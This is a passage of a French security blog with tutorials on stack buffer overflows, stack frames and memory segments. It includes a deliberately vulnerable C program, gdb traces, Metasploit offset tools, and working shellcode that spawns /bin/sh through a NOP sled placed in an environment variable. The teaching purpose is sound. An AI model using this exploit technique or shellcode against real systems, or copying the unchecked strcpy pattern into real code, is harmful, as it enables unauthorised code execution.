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samedi 23 avril 2011

Buffer Overflow

L'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And Profit publié dans Phrack.
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.

Prenons un programme d'exemple appelé buffer_overflow.c :

#include <stdio.h>
#include <stdlib.h>
 
void unused_function(void) {
   printf("Impossible => fonction non utilisee\n");
}
 
void f(const char *s) {
   int i = 1;
   char buffer[12];
   strcpy(buffer,s);
   printf("i = %u\n",i);
}
 
int main(int argc, char **argv) {
   if(argc != 2) {
      fprintf(stderr,"Usage: buffer_overflow chaine");
      exit(EXIT_FAILURE);
   }
   f(argv[1]);
 
   return EXIT_SUCCESS;
}
On voit clairement le problème dans ce programme à la ligne 11. Le buffer ne fait que 12 octets, et la commande strcpy (contrairement à la commande strncpy) ne vérifie pas la taille. Si la longueur de s est supérieure à 12 octets, on dépassera la taille de buffer et on écrasera des informations qui n'ont rien à voir avec cette variable.

Regardons un peu l'exécution de ce programme :

# ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545


Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de i en l'écrasant, chose qui paraissait impossible vu le code source du programme.
# ./buffer_overflow $(ruby -e 'print "A"*50')

i = 1094795585

Erreur de segmentation (core dumped)
Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis f
Dump of assembler code for function f:
   0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28
   0x080482ba <+6>: mov    DWORD PTR [ebp-0xc],0x1
   0x080482c1 <+13>: mov    eax,DWORD PTR [ebp+0x8]
   0x080482c4 <+16>: mov    DWORD PTR [esp+0x4],eax
   0x080482c8 <+20>: lea    eax,[ebp-0x18]
   0x080482cb <+23>: mov    DWORD PTR [esp],eax
   0x080482ce <+26>: call   0x80512a0 <strcpy>
   0x080482d3 <+31>: mov    eax,0x80ae90c
   0x080482d8 <+36>: mov    edx,DWORD PTR [ebp-0xc]
   0x080482db <+39>: mov    DWORD PTR [esp+0x4],edx
   0x080482df <+43>: mov    DWORD PTR [esp],eax
   0x080482e2 <+46>: call   0x8048e40 <printf>
   0x080482e7 <+51>: leave  
   0x080482e8 <+52>: ret    
End of assembler dump.
gdb$ b *0x080482ce   # On breakpoint avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
=> 0x80482ce : call   0x80512a0 <strcpy>
   0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11  strcpy(buffer,s)
gdb$ print &buffer
$1 = (char (*)[12]) 0xbffff230
gdb$ print &i
$2 = (int *) 0xbffff23c
gdb$ print 0xbffff23c - 0xbffff230
$3 = 0xc
gdb$ x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00
gdb$ c
=> 0x80482d3 : mov    eax,0x80ae90c
   0x80482d8 : mov    edx,DWORD PTR [ebp-0xc]
   0x80482db : mov    DWORD PTR [esp+0x4],edx
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00
gdb$ c
i = 0
Program exited normally.


On voit bien avant le strcpy la valeur de i 0x01 0x00 0x00 0x00 (représentée en bleu) qui est écrasée par l'\0 ajouté par strcpy. Un seul octet est écrasé : celui où il y avait 0x01. i passe donc à 0.
Lorsqu'on passe en argument 15 "A", on écrase la variable i avec 3 octets supplémentaires (donc 4 au total), i prend donc la valeur \x41\x41\x41\x00 soit la valeur 4276545 en little endian. La valeur 1094795585 ne correspond qu'à des \x41 sur tous les octets.

Remarque: Si nous avions inversé la déclaration des variables buffer et i, il n'aurait pas été possible de faire un overflow sur i, car elle aurait eu une adresse inférieure à buffer.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de i, le programme se plante. Si on se rappelle bien du fonctionnement de la pile, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction.
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction f se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.

time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
time0ut# gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
gdb$ info register eip     # ou sa version light : i r eip
eip            0x41414141 0x41414141

Notre registre EIP (celui qui pointe sur la prochaine instruction à exécuter) à la valeur 0x41414141 soit AAAA. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter.
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de f.

time0ut# gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis unused_function
Dump of assembler code for function unused_function:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x18
   0x080482a6 <+6>: mov    DWORD PTR [esp],0x80ae8e8
   0x080482ad <+13>: call   0x8048fd0 <puts>
   0x080482b2 <+18>: leave  
   0x080482b3 <+19>: ret    
End of assembler dump.
gdb$ q
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)


Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur i, mais aussi la valeur de retour de f. Cette adresse pointe sur le printf de notre fonction unused_function. Lorsque f se termine, la valeur de retour devient 0x080482a6 (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le printf de unused_function qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482e9 <+0>: push   ebp
   0x080482ea <+1>: mov    ebp,esp
   0x080482ec <+3>: and    esp,0xfffffff0
   0x080482ef <+6>: sub    esp,0x10
   0x080482f2 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080482f6 <+13>: je     0x804832c <main+67>
   0x080482f8 <+15>: mov    eax,ds:0x80ce624
   0x080482fd <+20>: mov    edx,eax
   0x080482ff <+22>: mov    eax,0x80ae914
   0x08048304 <+27>: mov    DWORD PTR [esp+0xc],edx
   0x08048308 <+31>: mov    DWORD PTR [esp+0x8],0x1d
   0x08048310 <+39>: mov    DWORD PTR [esp+0x4],0x1
   0x08048318 <+47>: mov    DWORD PTR [esp],eax
   0x0804831b <+50>: call   0x8048e70 <fwrite>
   0x08048320 <+55>: mov    DWORD PTR [esp],0x1
   0x08048327 <+62>: call   0x8048c20 <exit>
   0x0804832c <+67>: mov    eax,DWORD PTR [ebp+0xc]
   0x0804832f <+70>: add    eax,0x4
   0x08048332 <+73>: mov    eax,DWORD PTR [eax]
   0x08048334 <+75>: mov    DWORD PTR [esp],eax
   0x08048337 <+78>: call   0x80482b4 <f>
   0x0804833c <+83>: mov    eax,0x0    # Adresse de retour de f
   0x08048341 <+88>: leave  
   0x08048342 <+89>: ret    
End of assembler dump.
gdb$ b *0x80482ce    # avant le strcpy
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
gdb$ b *0x80482d3    # après le strcpy
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 1, 0x080482ce in f  at buffer_overflow.c:11
gdb$ x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 0x0804833c   # eip a été sauvegardé ici
gdb$ n
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 0x080482a6   # On a modifié la valeur
gdb$ x/2i 0x080482a6
   0x80482a6 : mov    DWORD PTR [esp],0x80ae8e8
   0x80482ad : call   0x8048fd0 <puts>


La mémoire ressemble après le strcpy à cela :
Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de EIP, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise.
La distance séparant les variables locales d'une fonction à la sauvegarde du registre EIP ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La façon dont a été compilé le programme enlève toutes les protections, cependant gcc peut ajouter du padding et c'est le cas ici.

On peut voir cela dans le prologue de la fonction de f :

0x080482b4 <+0>: push   ebp
   0x080482b5 <+1>: mov    ebp,esp
   0x080482b7 <+3>: sub    esp,0x28

40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.

Une technique plus élégante consiste à utiliser des utilitaires de metasploit : pattern_create.rb et pattern_offset.rb. L'idée consiste à générer un pattern suffisamment long avec pattern_create.rb, à le passer au programme pour le planter et enfin à regarder la valeur de EIP.
Il suffit de passer la valeur de EIP à pattern_offset.rb qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).

Merci à m_101 pour m'avoir fait découvrir ces outils sur son blog.
time0ut# /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
time0ut# ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
time0ut# gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0  0x62413961 in ?? ()
gdb$ q
time0ut# /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28    # Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront
time0ut# ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)

C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.

Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.

Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc,char**argv) {
   char *addr;
   if(argc != 2) {
      printf("Usage: %s env_variable\n",argv[0]);
      exit(EXIT_FAILURE);
   }
   addr = getenv(argv[1]);
   if(addr == NULL) {
      printf("Environnement variable %s does not exist\n",argv[1]);
   } else {
      printf("%s is located at %p\n",argv[1],addr);
   }
 
   return EXIT_SUCCESS;
}

Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.
# ./get_env PATH
PATH is located at 0xbffffc15
Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur shellstorm par exemple.
# ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur 0x90. L'opcode 0x90 représente l'instruction NOP qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des NOP pour que notre shellcode s'exécute (le programme passera de NOP en NOP jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les NOP permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.
# export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
On connait donc grossièrement l'adresse du premier NOP de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les NOP : 0xbffffce8 (0xbffffcb6 + 50).

Il ne nous reste plus qu'à écraser l'adresse sauvegardée de EIP sur la pile par cette adresse, pour que lors du retour de notre fonction f on exécute notre shellcode :

# ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec gdb :

time0ut# gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
gdb$ b *0x080482d3   # On breakpoint après le strcpy
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
gdb$ r
Breakpoint 2, f at buffer_overflow.c:12
12  printf("i = %u\n",i);
gdb$ x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8   # L'adresse a bien été réécrite
gdb$ x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d     # On est bien sur les NOP, donc c'est gagné
gdb$ x/5i 0xbffffce8
   0xbffffce8: nop
   0xbffffce9: nop
   0xbffffcea: nop
   0xbffffceb: nop
   0xbffffcec: nop
gdb$ x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90

L'adresse du premier NOP était en réalité en 0xbffffcab, alors que notre programme précédent nous avait donné 0xbffffcb6 (soit une différence de 11 octets). La technique des NOP nous a permis de passer outre cette approximation.

samedi 26 mars 2011

Fonctionnement de la pile

La pile est un élément crucial dans un programme qui peut être l'objet de beaucoup d'attaques. Il est important de bien comprendre son fonctionnement si on veut être capable d'en exploiter ses vulnérabilités.
Comme je l'ai expliqué dans la Segmentation de la mémoire d’un programme, lors de l'appel d'une fonction une zone de la pile est réservée appelée stack frame. Il permet de stocker tout les éléments nécessaires au bon fonctionnement de la fonction comme ses variables locales et ses arguments, et tout le nécessaire pour remettre la pile et le programme dans son état d'origine lorsque la fonction se sera terminée.

Le nom du segment (stack) lui vient de sa façon de fonctionner, il se comporte comme une pile avec un fonctionnement LIFO (Last In First Out) ou FILO (ce qui revient au même). A chaque fois qu'une fonction est appelée, un stack frame est empilé dans la pile, et à chaque fois qu'une fonction se termine, un stack frame est dépilé.


Voilà l'état de la pile dans le programme de mon précédent post juste avant le retour de la fonction g() appelée dans f().

La pile étant en réalité juste une zone mémoire, le programme a besoin de savoir où se trouve le sommet de la pile. Pour cela un registre du processeur existe et s'appelle ESP qui pointe toujours sur le sommet (paradoxalement le sommet de pile est l'adresse la plus basse de la pile). De la même façon un registre nommé EBP pointe sur le début du stack frame courant (et a donc une adresse plus haute).

Exécution d'une fonction

L'exécution d'une fonction se fait en plusieurs étapes :
  • La préparation des arguments de la fonction
  • L'appel de la fonction
  • Prologue de la fonction qui va permettre de réserver l'espace nécessaire aux variables locales
  • L'exécution de la fonction
  • Le retour de la fonction et la libération du stack frame
Chaque étape va être décrite précisément sur le programme suivant et grâce à gdb muni d'un .gdbinit bien configuré (merci au blog de StalkR pour me l'avoir fait découvrir).
#include <stdio.h>
#include <stdlib.h>
 
void f(int x, int y) {
 int local1 = 1;
 char local2[] = "buffer";
 return;
}
 
int main(int argc, char **argv) {
 f(1,2);
 
 return EXIT_SUCCESS;
}
# gcc stack_frame.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o stack_frame
Il est important de bien compiler le programme avec les mêmes options, sinon gcc met certaines protections sur la pile qui vont rendre les choses plus compliquées à comprendre, comme l'inversion ou l'ajout de certaines zones mémoires. Cela s'appelle le SSP ou Stack Smashing Protection, que j'essaierai de développer dans un autre article.

Préparation des arguments de la fonction

On commence par désassembler le programme :
time0ut# gdb -q stack_frame
Reading symbols from time0ut/stack_frame...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482c0 <+0>: push   ebp
   0x080482c1 <+1>: mov    ebp,esp
   0x080482c3 <+3>: sub    esp,0x8
   0x080482c6 <+6>: mov    DWORD PTR [esp+0x4],0x2
   0x080482ce <+14>: mov    DWORD PTR [esp],0x1
   0x080482d5 <+21>: call   0x80482a0 
   0x080482da <+26>: mov    eax,0x0
   0x080482df <+31>: leave  
   0x080482e0 <+32>: ret 
End of assembler dump.1
gdb$ dis f
Dump of assembler code for function f:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x10
   0x080482a6 <+6>: mov    DWORD PTR [ebp-0x4],0x1
   0x080482ad <+13>: mov    DWORD PTR [ebp-0xb],0x66667562
   0x080482b4 <+20>: mov    WORD PTR [ebp-0x7],0x7265
   0x080482ba <+26>: mov    BYTE PTR [ebp-0x5],0x0
   0x080482be <+30>: leave  
   0x080482bf <+31>: ret
End of assembler dump.
gdb$ b *0x080482d5
Breakpoint 1 at 0x080482d5: file stack_frame.c, line 11.
gdb$ r
Breakpoint 1, 0x080482d5 in main (argc=0x1, argv=0xbffff324) at stack_frame.c:11
11  f(1,2);
gdb$ x/2xw $esp
0xbffff280: 0x00000001  0x00000002


Les deux commandes spécifiées en gras permettent de mettre les arguments de la fonction sur la pile. L'argument 2 est mis en premier puis l'argument 1. Lors de l'appel d'une fonction les arguments sont donc mis dans l'ordre inverse.
La commande gdb x/2xw $esp permet d'afficher 2 mots (2*4 octets) en hexadécimal à l'adresse pointée par ESP qui a pour valeur 0xbffff280. On affiche donc 2 éléments de la pile qui sont les arguments 1 et 2.

L'état de la pile avant l'appel de la fonction (c'est à dire avant l'exécution de call 0x80482a0) est donc comme suit :

Appel de la fonction

Une fois les arguments de la fonction empilés, l'appel peut se faire via la commande call, qui se fait à l'adresse 0x080482d5. La commande call a deux objectifs :
  • Sauvegarder dans la pile l'adresse de l'instruction qui suit le call ce qui permettra de reprendre où on en est à la fin de l'exécution de la fonction. Cela se fera grâce au registre EIP qui pointe toujours sur la prochaine instruction à exécuter.
  • Sauter dans le code (segment text) de la fonction en modifiant le registre EIP pour que celui ci pointe sur la première instruction de la fonction et dont l'adresse est passée en paramètre à call.

On vérifie tout cela avec gdb :
gdb$ print/x $eip
$1 = 0x80482d5  # EIP pointe bien pour le moment sur l'instruction call
=> 0x80482d5 
: call 0x80482a0 0x80482da
: mov eax,0x0 0x80482df
: leave
gdb$ stepi # On exécute le call et donc on rentre dans la fonction gdb$ print/x $eip $2 = 0x80482a0 # Après le call EIP pointe sur la première instruction de f => 0x80482a0 : push ebp 0x80482a1 : mov ebp,esp 0x80482a3 : sub esp,0x10 gdb$ x/3xw $esp 0xbffff27c: 0x080482da 0x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de la prochaine instruction a exécuter après f

On peut remarquer que la prochaine instruction à exécuter après la fonction (0x080482da) se trouve 5 octets plus haut que l'instruction du call. C'est toujours le cas, car la taille de l'instruction call est de 5 octets.

Après le call, la tête de notre pile est donc la suivante :

Prologue de la fonction

Le prologue de la fonction va permettre de réserver l'espace nécessaire pour stocker les variables locales. Il est constitué de 3 instructions :
  • push ebp
  • Cette instruction va permettre de sauvegarder le registre EBP qui pointe encore sur le début du stack frame de la fonction appelante. Cela permettra de le restaurer après la fin de la fonction courante.
  • mov ebp,esp
  • Cette instruction permet de dire au programme que le début du stack frame commence ici. Heureusement on vient de sauvegarder EBP, donc on a pas perdu sa valeur.
  • sub esp,0x10
  • Cette instruction permet de réserver l'espace nécessaire aux variables locales de la fonction. Dans notre cas, on réserve 0x10 soit 16 octets. En réalité nous n'aurions besoin de réserver que 12 octets (local1 fait 4 octets et local2 7 octets, mais comme on fonctionne par mot de 4 octets, cela fait 12). Cependant le compilateur gcc alloue un supplément de mémoire. Il faut noter que comme la pile grandit vers les adresses basses, la réservation d'espace se fait via une soustraction et non une addition.
On vérifie tout cela avec gdb:
gdb$ print/x $ebp
$3 = 0xbffff288
gdb$ stepi # Exécution de push ebp
gdb$ x/4xw $esp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de EBP
gdb$ stepi # Exécution de mov ebp,esp
gdb$ x/4xw $ebp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # EBP et ESP pointent sur la même zone mémoire
gdb$ stepi # Exécution de sub esp,0x10
gdb$ print/d $ebp-$esp
$4 = 16 # On vient de réserver 16 octets
gdb$ stepi # On passe toutes les inialisations des variables locales
gdb$ stepi
gdb$ stepi
=> 0x80482be : leave  
   0x80482bf : ret    
   0x80482c0 
: push ebp
gdb$ x/8xw $esp 0xbffff268: 0x080cd0ac 0x66756200 0x00726566 0x00000001 0xbffff278: 0xbffff288 0x080482da 0x00000001 0x00000002

La valeur 0x080cd0ac sur le sommet de pile est une valeur ajoutée par gcc. Elle ne nous intéresse pas. Les valeurs 0x66756200 et 0x00726566 sont en réalité la variable locale appelée local2 dans f() : 0x66 (f) 0x75 (u) 0x62 (b) 0x72 (r) 0x65 (e) 0x66 (f). La valeur suivante est la variable local1.


gdb$ x/12b 
0xbffff26c: 0x00 0x62 0x75 0x66 0x66 0x65 0x72 0x00
0xbffff274: 0x01 0x00 0x00 0x00


Comme on peut le voir ici, et plus particulièrement à l'adresse 0xbffff274, les octets sont stockés en mémoire dans le sens inverse, c'est à dire que les octets de poids faible sont stockées en premier. Ceci est dû au fait je tourne sur une architecture x86 qui est en little endian.

Voilà ce que donne la mémoire si on précise l'ordre des octets :

Si la variable local2 commence à l'adresse 0xbffff26d et non à l'adresse 0xbffff26c c'est car le compilateur connaît exactement la taille du buffer qui fait 7 octets (taille de la chaine "buffer" + \0). L'octet 0x00 de l'adresse 0xbffff26c, est juste du padding.

Retour de la fonction et libération du stack frame

Le retour d'une fonction se fait par les instructions leave puis ret.
  • Instruction leave
  • L'instruction leave a pour objectif de supprimer le stack frame, c'est à dire de rétablir les registres ESP et EBP à leur valeur avant le call. Elle est équivalente aux deux commandes suivantes : 
    • mob esp,ebp qui aurait pour objectif de remettre ESP à la même valeur que EBP (c'est à dire pointant sur la zone mémoire contenant l'ancienne valeur de EBP).
    • pop ebp qui aurait pour objectif de remettre l'ancienne valeur de EBP dans EBP, et du coup de décrémenter ESP de 4 octets pour qu'il pointe sur l'instruction suivant le call
    Bien entendu le leave se fait en une seule instruction, du coup l'état intermédiaire présenté dans la première figure n'existe pas réellement.
  • Instruction ret
  • L'instruction ret a pour objectif de remettre le registre EIP à la valeur qui pointe sur l'instruction après le call. Suite au leave, ESP pointe sur une zone mémoire contenant l'adresse de l'instruction suivant le call. Elle est donc équivalent à l'instruction pop eip.

Même si les variables locales sont toujours présentes dans la pile, elles sont considérées comme de l'espace vide. La pile se retrouve donc dans l'état qui était le sien avant le call. La fonction appelante (ici main) a en charge de nettoyer les paramètres.

Cet article permet d'expliquer précisément le fonctionnement de la pile. Il peut y avoir certaines différences en fonction de l'architecture sur laquelle tourne le programme, du compilateur ou même des options de compilation. Cependant l'idée principale reste la même. La compréhension de cet article sera nécessaire pour la compréhension de quelques uns de mes prochains articles.

mercredi 23 mars 2011

Segmentation de la mémoire d'un programme

Quand on s'essaye à l'exploitation de binaire, il est impératif de connaître parfaitement comment fonctionne un programme et comment sa mémoire est segmentée.
La mémoire d'un programme est divisée en plusieurs segments :
  • text
  • data
  • bss
  • heap (ou tas en français)
  • stack (ou pile en français)
Chaque segment contient des données bien précises.

Le segment text contient les instructions du programme avec toute sa logique. Ce segment est en lecture seule car le code n'est pas modifié lors de l'exécution. Cela permet d'avoir plusieurs processus qui partagent cette même zone. Quand plusieurs utilisateurs exécutent la commande ls en même temps par exemple, le code de la commande contenu dans le segment text n'est pas dupliqué, il est partagé par tous les processus. Cela ne pose aucun problème car cette zone ne peut être modifiée.

Les segments bss et data permettent de stocker les variables globales et statiques du programme. Les variables initialisées sont stockées dans le segment data alors que les variables non initialisées sont situées dans le segment bss. Contrairement au segment text, les segments bss et data ne sont pas en lecture seule (le programme peut modifier ses variables globales et statiques au cours de son exécution), par contre leur taille est fixe puisque connue dès la compilation du programme.

Le segment heap est une zone qui va permettre l'allocation de mémoire de façon dynamique, via les fonctions bien connues de type malloc. Ce segment a donc une taille variable car les zones mémoires vont pouvoir être allouées/désallouées dynamiquement en fonction des besoins du programme.

Le segment stack ou pile a pour objectif de stocker les variables locales des fonctions ainsi que le contexte de ces dernières (arguments...). A chaque fois qu'une fonction est appelée par un programme, une zone mémoire lui est allouée dans la pile on appelle ça un stack frame. Chaque appel de fonction produit un nouveau stack frame propre à cet appel, ce qui permet par exemple d'avoir des contextes complètement différents pour la même fonction et donc des comportements différents. Quand la fonction se termine, le stack frame est détruit. La pile est aussi de taille variable, car il n'est pas possible de savoir quelles fonctions et combien de fois elles seront appelées. Au fur est à mesure des appels de fonction la pile va grandir et diminuer. Contrairement au segment heap, la pile grandit vers les adresses basses : Plus les stack frames se rajoutent et plus leurs adresses sont basses.

Le programme suivant va permettre de mettre en évidence les différentes explications que je viens de donner (il est largement commenté) :
#include <stdio.h>
#include <stdlib.h>
 
// Variables globales non initialisées qui vont dans le segment BSS
int global_a;
static static_a;
 
// Variables globales initialisées qui vont dans le segment DATA
int global_b = 1;
static int static_b = 2;
 
void g(void);
 
void f(void) {
 // Variable locale de f qui va dans le segment STACK
 int local_f_a= 1;
 
 // Variable statique initialisée, donc va dans le segment DATA
 // La valeur est commune lors de tous les appels de fonction
 static int static_f_c = 3;
 
